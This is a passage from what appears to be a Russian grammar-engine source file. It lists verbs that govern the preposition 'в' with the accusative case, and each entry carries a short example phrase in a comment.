rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В) rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В) rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В) rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В) rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В) rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В) rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В) rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В) rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны. rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В) rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям. rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В) rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в) rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В) rus_verbs:валить{}, // валить все в одну кучу (валить в) rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в) rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в) rus_verbs:клониться{}, // он клонился в сторону (клониться в) rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в) rus_verbs:запасть{}, // Эти слова запали мне в душу. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:ездить{}, // Каждый день грузовик ездит в город. rus_verbs:претвориться{}, // Замысел претворился в жизнь. rus_verbs:разойтись{}, // Они разошлись в разные стороны. rus_verbs:выйти{}, // Охотник вышел в поле с ружьём. rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом. rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны rus_verbs:переодеваться{}, // переодеваться в женское платье rus_verbs:перерастать{}, // перерастать в массовые беспорядки rus_verbs:завязываться{}, // завязываться в узел rus_verbs:похватать{}, // похватать в руки rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:помещать{}, // помещать в изолятор rus_verbs:зыркнуть{}, // зыркнуть в окошко rus_verbs:закатать{}, // закатать в асфальт rus_verbs:усаживаться{}, // усаживаться в кресло rus_verbs:загонять{}, // загонять в сарай rus_verbs:подбрасывать{}, // подбрасывать в воздух rus_verbs:телеграфировать{}, // телеграфировать в центр rus_verbs:вязать{}, // вязать в стопы rus_verbs:подлить{}, // подлить в огонь rus_verbs:заполучить{}, // заполучить в распоряжение rus_verbs:подогнать{}, // подогнать в док rus_verbs:ломиться{}, // ломиться в открытую дверь rus_verbs:переправить{}, // переправить в деревню rus_verbs:затягиваться{}, // затягиваться в трубу rus_verbs:разлетаться{}, // разлетаться в стороны rus_verbs:кланяться{}, // кланяться в ножки rus_verbs:устремляться{}, // устремляться в открытое море rus_verbs:переместиться{}, // переместиться в другую аудиторию rus_verbs:ложить{}, // ложить в ящик rus_verbs:отвозить{}, // отвозить в аэропорт rus_verbs:напрашиваться{}, // напрашиваться в гости rus_verbs:напроситься{}, // напроситься в гости rus_verbs:нагрянуть{}, // нагрянуть в гости rus_verbs:заворачивать{}, // заворачивать в фольгу rus_verbs:заковать{}, // заковать в кандалы rus_verbs:свезти{}, // свезти в сарай rus_verbs:притащиться{}, // притащиться в дом rus_verbs:завербовать{}, // завербовать в разведку rus_verbs:рубиться{}, // рубиться в компьютерные игры rus_verbs:тыкаться{}, // тыкаться в материнскую грудь инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш }, деепричастие:ссыпав{}, деепричастие:ссыпая{}, rus_verbs:засасывать{}, // засасывать в себя rus_verbs:скакнуть{}, // скакнуть в будущее rus_verbs:подвозить{}, // подвозить в театр rus_verbs:переиграть{}, // переиграть в покер rus_verbs:мобилизовать{}, // мобилизовать в действующую армию rus_verbs:залетать{}, // залетать в закрытое воздушное пространство rus_verbs:подышать{}, // подышать в трубочку rus_verbs:смотаться{}, // смотаться в институт rus_verbs:рассовать{}, // рассовать в кармашки rus_verbs:захаживать{}, // захаживать в дом инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард деепричастие:сгоняя{}, rus_verbs:посылаться{}, // посылаться в порт rus_verbs:отлить{}, // отлить в кастрюлю rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение rus_verbs:поплакать{}, // поплакать в платочек rus_verbs:обуться{}, // обуться в сапоги rus_verbs:закапать{}, // закапать в глаза инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш }, деепричастие:свозив{}, деепричастие:свозя{}, rus_verbs:преобразовать{}, // преобразовать в линейное уравнение rus_verbs:кутаться{}, // кутаться в плед rus_verbs:смещаться{}, // смещаться в сторону rus_verbs:зазывать{}, // зазывать в свой магазин инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш }, деепричастие:трансформируясь{}, деепричастие:трансформировавшись{}, rus_verbs:погружать{}, // погружать в кипящее масло rus_verbs:обыграть{}, // обыграть в теннис rus_verbs:закутать{}, // закутать в одеяло rus_verbs:изливаться{}, // изливаться в воду rus_verbs:закатывать{}, // закатывать в асфальт rus_verbs:мотнуться{}, // мотнуться в банк rus_verbs:избираться{}, // избираться в сенат rus_verbs:наниматься{}, // наниматься в услужение rus_verbs:настучать{}, // настучать в органы rus_verbs:запихивать{}, // запихивать в печку rus_verbs:закапывать{}, // закапывать в нос rus_verbs:засобираться{}, // засобираться в поход rus_verbs:копировать{}, // копировать в другую папку rus_verbs:замуровать{}, // замуровать в стену rus_verbs:упечь{}, // упечь в тюрьму rus_verbs:зрить{}, // зрить в корень rus_verbs:стягиваться{}, // стягиваться в одну точку rus_verbs:усаживать{}, // усаживать в тренажер rus_verbs:протолкнуть{}, // протолкнуть в отверстие rus_verbs:расшибиться{}, // расшибиться в лепешку rus_verbs:приглашаться{}, // приглашаться в кабинет rus_verbs:садить{}, // садить в телегу rus_verbs:уткнуть{}, // уткнуть в подушку rus_verbs:протечь{}, // протечь в подвал rus_verbs:перегнать{}, // перегнать в другую страну rus_verbs:переползти{}, // переползти в тень rus_verbs:зарываться{}, // зарываться в грунт rus_verbs:переодеть{}, // переодеть в сухую одежду rus_verbs:припуститься{}, // припуститься в пляс rus_verbs:лопотать{}, // лопотать в микрофон rus_verbs:прогнусавить{}, // прогнусавить в микрофон rus_verbs:мочиться{}, // мочиться в штаны rus_verbs:загружать{}, // загружать в патронник rus_verbs:радировать{}, // радировать в центр rus_verbs:промотать{}, // промотать в конец rus_verbs:помчать{}, // помчать в школу rus_verbs:съезжать{}, // съезжать в кювет rus_verbs:завозить{}, // завозить в магазин rus_verbs:заявляться{}, // заявляться в школу rus_verbs:наглядеться{}, // наглядеться в зеркало rus_verbs:сворачиваться{}, // сворачиваться в клубочек rus_verbs:устремлять{}, // устремлять взор в будущее rus_verbs:забредать{}, // забредать в глухие уголки rus_verbs:перемотать{}, // перемотать в самое начало диалога rus_verbs:сморкаться{}, // сморкаться в носовой платочек rus_verbs:перетекать{}, // перетекать в другой сосуд rus_verbs:закачать{}, // закачать в шарик rus_verbs:запрятать{}, // запрятать в сейф rus_verbs:пинать{}, // пинать в живот rus_verbs:затрубить{}, // затрубить в горн rus_verbs:подглядывать{}, // подглядывать в замочную скважину инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш }, деепричастие:подсыпав{}, деепричастие:подсыпая{}, rus_verbs:засовывать{}, // засовывать в пенал rus_verbs:отрядить{}, // отрядить в командировку rus_verbs:справлять{}, // справлять в кусты rus_verbs:поторапливаться{}, // поторапливаться в самолет rus_verbs:скопировать{}, // скопировать в кэш rus_verbs:подливать{}, // подливать в огонь rus_verbs:запрячь{}, // запрячь в повозку rus_verbs:окраситься{}, // окраситься в пурпур rus_verbs:уколоть{}, // уколоть в шею rus_verbs:слететься{}, // слететься в гнездо rus_verbs:резаться{}, // резаться в карты rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш) деепричастие:задвигая{}, rus_verbs:доставляться{}, // доставляться в ресторан rus_verbs:поплевать{}, // поплевать в чашку rus_verbs:попереться{}, // попереться в магазин rus_verbs:хаживать{}, // хаживать в церковь rus_verbs:преображаться{}, // преображаться в королеву rus_verbs:организоваться{}, // организоваться в группу rus_verbs:ужалить{}, // ужалить в руку rus_verbs:протискиваться{}, // протискиваться в аудиторию rus_verbs:препроводить{}, // препроводить в закуток rus_verbs:разъезжаться{}, // разъезжаться в разные стороны rus_verbs:пропыхтеть{}, // пропыхтеть в трубку rus_verbs:уволочь{}, // уволочь в нору rus_verbs:отодвигаться{}, // отодвигаться в сторону rus_verbs:разливать{}, // разливать в стаканы rus_verbs:сбегаться{}, // сбегаться в актовый зал rus_verbs:наведаться{}, // наведаться в кладовку rus_verbs:перекочевать{}, // перекочевать в горы rus_verbs:прощебетать{}, // прощебетать в трубку rus_verbs:перекладывать{}, // перекладывать в другой карман rus_verbs:углубляться{}, // углубляться в теорию rus_verbs:переименовать{}, // переименовать в город rus_verbs:переметнуться{}, // переметнуться в лагерь противника rus_verbs:разносить{}, // разносить в щепки rus_verbs:осыпаться{}, // осыпаться в холода rus_verbs:попроситься{}, // попроситься в туалет rus_verbs:уязвить{}, // уязвить в сердце rus_verbs:перетащить{}, // перетащить в дом rus_verbs:закутаться{}, // закутаться в плед // rus_verbs:упаковать{}, // упаковать в бумагу инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость rus_verbs:хихикать{}, // хихикать в кулачок rus_verbs:объединить{}, // объединить в сеть инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию деепричастие:слетав{}, rus_verbs:заползти{}, // заползти в норку rus_verbs:перерасти{}, // перерасти в крупную аферу rus_verbs:списать{}, // списать в утиль rus_verbs:просачиваться{}, // просачиваться в бункер rus_verbs:пускаться{}, // пускаться в погоню rus_verbs:согревать{}, // согревать в мороз rus_verbs:наливаться{}, // наливаться в емкость rus_verbs:унестись{}, // унестись в небо rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф rus_verbs:сигануть{}, // сигануть в воду rus_verbs:окунуть{}, // окунуть в ледяную воду rus_verbs:просочиться{}, // просочиться в сапог rus_verbs:соваться{}, // соваться в толпу rus_verbs:протолкаться{}, // протолкаться в гардероб rus_verbs:заложить{}, // заложить в ломбард rus_verbs:перекатить{}, // перекатить в сарай rus_verbs:поставлять{}, // поставлять в Китай rus_verbs:залезать{}, // залезать в долги rus_verbs:отлучаться{}, // отлучаться в туалет rus_verbs:сбиваться{}, // сбиваться в кучу rus_verbs:зарыть{}, // зарыть в землю rus_verbs:засадить{}, // засадить в тело rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь rus_verbs:переставить{}, // переставить в шкаф rus_verbs:отчалить{}, // отчалить в плавание rus_verbs:набираться{}, // набираться в команду rus_verbs:лягнуть{}, // лягнуть в живот rus_verbs:притворить{}, // притворить в жизнь rus_verbs:проковылять{}, // проковылять в гардероб rus_verbs:прикатить{}, // прикатить в гараж rus_verbs:залететь{}, // залететь в окно rus_verbs:переделать{}, // переделать в мопед rus_verbs:протащить{}, // протащить в совет rus_verbs:обмакнуть{}, // обмакнуть в воду rus_verbs:отклоняться{}, // отклоняться в сторону rus_verbs:запихать{}, // запихать в пакет rus_verbs:избирать{}, // избирать в совет rus_verbs:загрузить{}, // загрузить в буфер rus_verbs:уплывать{}, // уплывать в Париж rus_verbs:забивать{}, // забивать в мерзлоту rus_verbs:потыкать{}, // потыкать в безжизненную тушу rus_verbs:съезжаться{}, // съезжаться в санаторий rus_verbs:залепить{}, // залепить в рыло rus_verbs:набиться{}, // набиться в карманы rus_verbs:уползти{}, // уползти в нору rus_verbs:упрятать{}, // упрятать в камеру rus_verbs:переместить{}, // переместить в камеру анабиоза rus_verbs:закрасться{}, // закрасться в душу rus_verbs:сместиться{}, // сместиться в инфракрасную область rus_verbs:запускать{}, // запускать в серию rus_verbs:потрусить{}, // потрусить в чащобу rus_verbs:забрасывать{}, // забрасывать в чистую воду rus_verbs:переселить{}, // переселить в отдаленную деревню rus_verbs:переезжать{}, // переезжать в новую квартиру rus_verbs:приподнимать{}, // приподнимать в воздух rus_verbs:добавиться{}, // добавиться в конец очереди rus_verbs:убыть{}, // убыть в часть rus_verbs:передвигать{}, // передвигать в соседнюю клетку rus_verbs:добавляться{}, // добавляться в очередь rus_verbs:дописать{}, // дописать в перечень rus_verbs:записываться{}, // записываться в кружок rus_verbs:продаться{}, // продаться в кредитное рабство rus_verbs:переписывать{}, // переписывать в тетрадку rus_verbs:заплыть{}, // заплыть в территориальные воды инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" }, rus_verbs:отбирать{}, // отбирать в гвардию rus_verbs:нашептывать{}, // нашептывать в микрофон rus_verbs:ковылять{}, // ковылять в стойло rus_verbs:прилетать{}, // прилетать в Париж rus_verbs:пролиться{}, // пролиться в канализацию rus_verbs:запищать{}, // запищать в микрофон rus_verbs:подвезти{}, // подвезти в больницу rus_verbs:припереться{}, // припереться в театр rus_verbs:утечь{}, // утечь в сеть rus_verbs:прорываться{}, // прорываться в буфет rus_verbs:увозить{}, // увозить в ремонт rus_verbs:съедать{}, // съедать в обед rus_verbs:просунуться{}, // просунуться в дверь rus_verbs:перенестись{}, // перенестись в прошлое rus_verbs:завезти{}, // завезти в магазин rus_verbs:проложить{}, // проложить в деревню rus_verbs:объединяться{}, // объединяться в профсоюз rus_verbs:развиться{}, // развиться в бабочку rus_verbs:засеменить{}, // засеменить в кабинку rus_verbs:скатываться{}, // скатываться в яму rus_verbs:завозиться{}, // завозиться в магазин rus_verbs:нанимать{}, // нанимать в рейс rus_verbs:поспеть{}, // поспеть в класс rus_verbs:кидаться{}, // кинаться в крайности rus_verbs:поспевать{}, // поспевать в оперу rus_verbs:обернуть{}, // обернуть в фольгу rus_verbs:обратиться{}, // обратиться в прокуратуру rus_verbs:истолковать{}, // истолковать в свою пользу rus_verbs:таращиться{}, // таращиться в дисплей rus_verbs:прыснуть{}, // прыснуть в кулачок rus_verbs:загнуть{}, // загнуть в другую сторону rus_verbs:раздать{}, // раздать в разные руки rus_verbs:назначить{}, // назначить в приемную комиссию rus_verbs:кидать{}, // кидать в кусты rus_verbs:увлекать{}, // увлекать в лес rus_verbs:переселиться{}, // переселиться в чужое тело rus_verbs:присылать{}, // присылать в город rus_verbs:уплыть{}, // уплыть в Европу rus_verbs:запричитать{}, // запричитать в полный голос rus_verbs:утащить{}, // утащить в логово rus_verbs:завернуться{}, // завернуться в плед rus_verbs:заносить{}, // заносить в блокнот rus_verbs:пятиться{}, // пятиться в дом rus_verbs:наведываться{}, // наведываться в больницу rus_verbs:нырять{}, // нырять в прорубь rus_verbs:зачастить{}, // зачастить в бар rus_verbs:назначаться{}, // назначается в комиссию rus_verbs:мотаться{}, // мотаться в областной центр rus_verbs:разыграть{}, // разыграть в карты rus_verbs:пропищать{}, // пропищать в микрофон rus_verbs:пихнуть{}, // пихнуть в бок rus_verbs:эмигрировать{}, // эмигрировать в Канаду rus_verbs:подключить{}, // подключить в сеть rus_verbs:упереть{}, // упереть в фундамент rus_verbs:уплатить{}, // уплатить в кассу rus_verbs:потащиться{}, // потащиться в медпункт rus_verbs:пригнать{}, // пригнать в стойло rus_verbs:оттеснить{}, // оттеснить в фойе rus_verbs:стучаться{}, // стучаться в ворота rus_verbs:перечислить{}, // перечислить в фонд rus_verbs:сомкнуть{}, // сомкнуть в круг rus_verbs:закачаться{}, // закачаться в резервуар rus_verbs:кольнуть{}, // кольнуть в бок rus_verbs:накрениться{}, // накрениться в сторону берега rus_verbs:подвинуться{}, // подвинуться в другую сторону rus_verbs:разнести{}, // разнести в клочья rus_verbs:отливать{}, // отливать в форму rus_verbs:подкинуть{}, // подкинуть в карман rus_verbs:уводить{}, // уводить в кабинет rus_verbs:ускакать{}, // ускакать в школу rus_verbs:ударять{}, // ударять в барабаны rus_verbs:даться{}, // даться в руки rus_verbs:поцеловаться{}, // поцеловаться в губы rus_verbs:посветить{}, // посветить в подвал rus_verbs:тыкать{}, // тыкать в арбуз rus_verbs:соединяться{}, // соединяться в кольцо rus_verbs:растянуть{}, // растянуть в тонкую ниточку rus_verbs:побросать{}, // побросать в пыль rus_verbs:стукнуться{}, // стукнуться в закрытую дверь rus_verbs:проигрывать{}, // проигрывать в теннис rus_verbs:дунуть{}, // дунуть в трубочку rus_verbs:улетать{}, // улетать в Париж rus_verbs:переводиться{}, // переводиться в филиал rus_verbs:окунуться{}, // окунуться в водоворот событий rus_verbs:попрятаться{}, // попрятаться в норы rus_verbs:перевезти{}, // перевезти в соседнюю палату rus_verbs:топать{}, // топать в школу rus_verbs:относить{}, // относить в помещение rus_verbs:укладывать{}, // укладывать в стопку rus_verbs:укатить{}, // укатил в турне rus_verbs:убирать{}, // убирать в сумку rus_verbs:помалкивать{}, // помалкивать в тряпочку rus_verbs:ронять{}, // ронять в грязь rus_verbs:глазеть{}, // глазеть в бинокль rus_verbs:преобразиться{}, // преобразиться в другого человека rus_verbs:запрыгнуть{}, // запрыгнуть в поезд rus_verbs:сгодиться{}, // сгодиться в суп rus_verbs:проползти{}, // проползти в нору rus_verbs:забираться{}, // забираться в коляску rus_verbs:сбежаться{}, // сбежались в класс rus_verbs:закатиться{}, // закатиться в угол rus_verbs:плевать{}, // плевать в душу rus_verbs:поиграть{}, // поиграть в демократию rus_verbs:кануть{}, // кануть в небытие rus_verbs:опаздывать{}, // опаздывать в школу rus_verbs:отползти{}, // отползти в сторону rus_verbs:стекаться{}, // стекаться в отстойник rus_verbs:запихнуть{}, // запихнуть в пакет rus_verbs:вышвырнуть{}, // вышвырнуть в коридор rus_verbs:связываться{}, // связываться в плотный узел rus_verbs:затолкать{}, // затолкать в ухо rus_verbs:скрутить{}, // скрутить в трубочку rus_verbs:сворачивать{}, // сворачивать в трубочку rus_verbs:сплестись{}, // сплестись в узел rus_verbs:заскочить{}, // заскочить в кабинет rus_verbs:проваливаться{}, // проваливаться в сон rus_verbs:уверовать{}, // уверовать в свою безнаказанность rus_verbs:переписать{}, // переписать в тетрадку rus_verbs:переноситься{}, // переноситься в мир фантазий rus_verbs:заводить{}, // заводить в помещение rus_verbs:сунуться{}, // сунуться в аудиторию rus_verbs:устраиваться{}, // устраиваться в автомастерскую rus_verbs:пропускать{}, // пропускать в зал инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш }, деепричастие:сбегая{}, деепричастие:сбегав{}, rus_verbs:прибегать{}, // прибегать в школу rus_verbs:съездить{}, // съездить в лес rus_verbs:захлопать{}, // захлопать в ладошки rus_verbs:опрокинуться{}, // опрокинуться в грязь инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш }, деепричастие:насыпая{}, деепричастие:насыпав{}, rus_verbs:употреблять{}, // употреблять в пищу rus_verbs:приводиться{}, // приводиться в действие rus_verbs:пристроить{}, // пристроить в надежные руки rus_verbs:юркнуть{}, // юркнуть в нору rus_verbs:объединиться{}, // объединиться в банду rus_verbs:сажать{}, // сажать в одиночку rus_verbs:соединить{}, // соединить в кольцо rus_verbs:забрести{}, // забрести в кафешку rus_verbs:свернуться{}, // свернуться в клубочек rus_verbs:пересесть{}, // пересесть в другой автобус rus_verbs:постучаться{}, // постучаться в дверцу rus_verbs:соединять{}, // соединять в кольцо rus_verbs:приволочь{}, // приволочь в коморку rus_verbs:смахивать{}, // смахивать в ящик стола rus_verbs:забежать{}, // забежать в помещение rus_verbs:целиться{}, // целиться в беглеца rus_verbs:прокрасться{}, // прокрасться в хранилище rus_verbs:заковылять{}, // заковылять в травтамологию rus_verbs:прискакать{}, // прискакать в стойло rus_verbs:колотить{}, // колотить в дверь rus_verbs:смотреться{}, // смотреться в зеркало rus_verbs:подложить{}, // подложить в салон rus_verbs:пущать{}, // пущать в королевские покои rus_verbs:согнуть{}, // согнуть в дугу rus_verbs:забарабанить{}, // забарабанить в дверь rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы rus_verbs:убраться{}, // убраться в специальную нишу rus_verbs:насмотреться{}, // насмотреться в зеркало rus_verbs:чмокнуть{}, // чмокнуть в щечку rus_verbs:усмехаться{}, // усмехаться в бороду rus_verbs:передвинуть{}, // передвинуть в конец очереди rus_verbs:допускаться{}, // допускаться в опочивальню rus_verbs:задвинуть{}, // задвинуть в дальний угол rus_verbs:отправлять{}, // отправлять в центр rus_verbs:сбрасывать{}, // сбрасывать в жерло rus_verbs:расстреливать{}, // расстреливать в момент обнаружения rus_verbs:заволочь{}, // заволочь в закуток rus_verbs:пролить{}, // пролить в воду rus_verbs:зарыться{}, // зарыться в сено rus_verbs:переливаться{}, // переливаться в емкость rus_verbs:затащить{}, // затащить в клуб rus_verbs:перебежать{}, // перебежать в лагерь врагов rus_verbs:одеть{}, // одеть в новое платье инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу деепричастие:задвигаясь{}, rus_verbs:клюнуть{}, // клюнуть в темечко rus_verbs:наливать{}, // наливать в кружку rus_verbs:пролезть{}, // пролезть в ушко rus_verbs:откладывать{}, // откладывать в ящик rus_verbs:протянуться{}, // протянуться в соседний дом rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь rus_verbs:устанавливать{}, // устанавливать в машину rus_verbs:употребляться{}, // употребляться в пищу rus_verbs:переключиться{}, // переключиться в реверсный режим rus_verbs:пискнуть{}, // пискнуть в микрофон rus_verbs:заявиться{}, // заявиться в класс rus_verbs:налиться{}, // налиться в стакан rus_verbs:заливать{}, // заливать в бак rus_verbs:ставиться{}, // ставиться в очередь инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны деепричастие:писаясь{}, rus_verbs:целоваться{}, // целоваться в губы rus_verbs:наносить{}, // наносить в область сердца rus_verbs:посмеяться{}, // посмеяться в кулачок rus_verbs:употребить{}, // употребить в пищу rus_verbs:прорваться{}, // прорваться в столовую rus_verbs:укладываться{}, // укладываться в ровные стопки rus_verbs:пробиться{}, // пробиться в финал rus_verbs:забить{}, // забить в землю rus_verbs:переложить{}, // переложить в другой карман rus_verbs:опускать{}, // опускать в свежевырытую могилу rus_verbs:поторопиться{}, // поторопиться в школу rus_verbs:сдвинуться{}, // сдвинуться в сторону rus_verbs:капать{}, // капать в смесь rus_verbs:погружаться{}, // погружаться во тьму rus_verbs:направлять{}, // направлять в кабинку rus_verbs:погрузить{}, // погрузить во тьму rus_verbs:примчаться{}, // примчаться в школу rus_verbs:упираться{}, // упираться в дверь rus_verbs:удаляться{}, // удаляться в комнату совещаний rus_verbs:ткнуться{}, // ткнуться в окошко rus_verbs:убегать{}, // убегать в чащу rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру rus_verbs:наговорить{}, // наговорить в микрофон rus_verbs:переносить{}, // переносить в дом rus_verbs:прилечь{}, // прилечь в кроватку rus_verbs:поворачивать{}, // поворачивать в обратную сторону rus_verbs:проскочить{}, // проскочить в щель rus_verbs:совать{}, // совать в духовку rus_verbs:переодеться{}, // переодеться в чистую одежду rus_verbs:порвать{}, // порвать в лоскуты rus_verbs:завязать{}, // завязать в бараний рог rus_verbs:съехать{}, // съехать в кювет rus_verbs:литься{}, // литься в канистру rus_verbs:уклониться{}, // уклониться в левую сторону rus_verbs:смахнуть{}, // смахнуть в мусорное ведро rus_verbs:спускать{}, // спускать в шахту rus_verbs:плеснуть{}, // плеснуть в воду rus_verbs:подуть{}, // подуть в угольки rus_verbs:набирать{}, // набирать в команду rus_verbs:хлопать{}, // хлопать в ладошки rus_verbs:ранить{}, // ранить в самое сердце rus_verbs:посматривать{}, // посматривать в иллюминатор rus_verbs:превращать{}, // превращать воду в вино rus_verbs:толкать{}, // толкать в пучину rus_verbs:отбыть{}, // отбыть в расположение части rus_verbs:сгрести{}, // сгрести в карман rus_verbs:удрать{}, // удрать в тайгу rus_verbs:пристроиться{}, // пристроиться в хорошую фирму rus_verbs:сбиться{}, // сбиться в плотную группу rus_verbs:заключать{}, // заключать в объятия rus_verbs:отпускать{}, // отпускать в поход rus_verbs:устремить{}, // устремить взгляд в будущее rus_verbs:обронить{}, // обронить в траву rus_verbs:сливаться{}, // сливаться в речку rus_verbs:стекать{}, // стекать в канаву rus_verbs:свалить{}, // свалить в кучу rus_verbs:подтянуть{}, // подтянуть в кабину rus_verbs:скатиться{}, // скатиться в канаву rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь rus_verbs:заторопиться{}, // заторопиться в буфет rus_verbs:протиснуться{}, // протиснуться в центр толпы rus_verbs:прятать{}, // прятать в укромненькое местечко rus_verbs:пропеть{}, // пропеть в микрофон rus_verbs:углубиться{}, // углубиться в джунгли rus_verbs:сползти{}, // сползти в яму rus_verbs:записывать{}, // записывать в память rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР) rus_verbs:колотиться{}, // колотиться в дверь rus_verbs:просунуть{}, // просунуть в отверстие rus_verbs:провожать{}, // провожать в армию rus_verbs:катить{}, // катить в гараж rus_verbs:поражать{}, // поражать в самое сердце rus_verbs:отлететь{}, // отлететь в дальний угол rus_verbs:закинуть{}, // закинуть в речку rus_verbs:катиться{}, // катиться в пропасть rus_verbs:забросить{}, // забросить в дальний угол rus_verbs:отвезти{}, // отвезти в лагерь rus_verbs:втопить{}, // втопить педаль в пол rus_verbs:втапливать{}, // втапливать педать в пол rus_verbs:утопить{}, // утопить кнопку в панель rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?) rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег rus_verbs:поскакать{}, // поскакать в атаку rus_verbs:прицелиться{}, // прицелиться в бегущего зайца rus_verbs:прыгать{}, // прыгать в кровать rus_verbs:приглашать{}, // приглашать в дом rus_verbs:понестись{}, // понестись в ворота rus_verbs:заехать{}, // заехать в гаражный бокс rus_verbs:опускаться{}, // опускаться в бездну rus_verbs:переехать{}, // переехать в коттедж rus_verbs:поместить{}, // поместить в карантин rus_verbs:ползти{}, // ползти в нору rus_verbs:добавлять{}, // добавлять в корзину rus_verbs:уткнуться{}, // уткнуться в подушку rus_verbs:продавать{}, // продавать в рабство rus_verbs:спрятаться{}, // Белка спрячется в дупло. rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию rus_verbs:воткнуть{}, // воткни вилку в розетку rus_verbs:нести{}, // нести в больницу rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку rus_verbs:впаивать{}, // впаивать деталь в плату rus_verbs:впаиваться{}, // деталь впаивается в плату rus_verbs:впархивать{}, // впархивать в помещение rus_verbs:впаять{}, // впаять деталь в плату rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат rus_verbs:вперивать{}, // вперивать взгляд в экран rus_verbs:впериваться{}, // впериваться в экран rus_verbs:вперить{}, // вперить взгляд в экран rus_verbs:впериться{}, // впериться в экран rus_verbs:вперять{}, // вперять взгляд в экран rus_verbs:вперяться{}, // вперяться в экран rus_verbs:впечатать{}, // впечатать текст в первую главу rus_verbs:впечататься{}, // впечататься в стену rus_verbs:впечатывать{}, // впечатывать текст в первую главу rus_verbs:впечатываться{}, // впечатываться в стену rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами rus_verbs:впитаться{}, // Жидкость впиталась в ткань rus_verbs:впитываться{}, // Жидкость впитывается в ткань rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник rus_verbs:вплавиться{}, // Провод вплавился в плату rus_verbs:вплеснуть{}, // вплеснуть краситель в бак rus_verbs:вплести{}, // вплести ленту в волосы rus_verbs:вплестись{}, // вплестись в волосы rus_verbs:вплетать{}, // вплетать ленты в волосы 